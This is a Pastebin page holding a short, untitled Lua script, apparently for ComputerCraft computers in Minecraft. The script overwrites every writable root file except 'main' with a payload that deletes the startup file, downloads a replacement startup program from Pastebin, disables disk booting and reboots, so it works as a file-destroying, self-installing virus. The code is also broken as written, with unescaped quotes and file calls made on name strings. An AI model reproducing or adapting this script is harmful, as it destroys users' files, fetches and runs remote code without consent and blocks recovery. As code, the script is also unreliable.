Advertisement
therealinsight

Untitled

May 17th, 2016
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.40 KB | None | 0 0
  1. code="
  2. if fs.exists("/startup") == true then
  3.    shell.run("rm /startup")
  4. end
  5. shell.run("pastebin get cdYr6QvV startup")
  6. settings.set("shell.allow_disk_startup","false")
  7. os.reboot()
  8. "
  9.  
  10.  
  11.  
  12. for k,v in pairs(fs.list("/")) do
  13.   if not fs.isReadOnly(v) then
  14.     if v ~= "main" then
  15.         io.open(v,"w")
  16.         v:seek("set")
  17.         v:write(code)
  18.         io.close(v)
  19.         --fs.delete(v)
  20.     end
  21.   end
  22. end
  23. --io.open
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement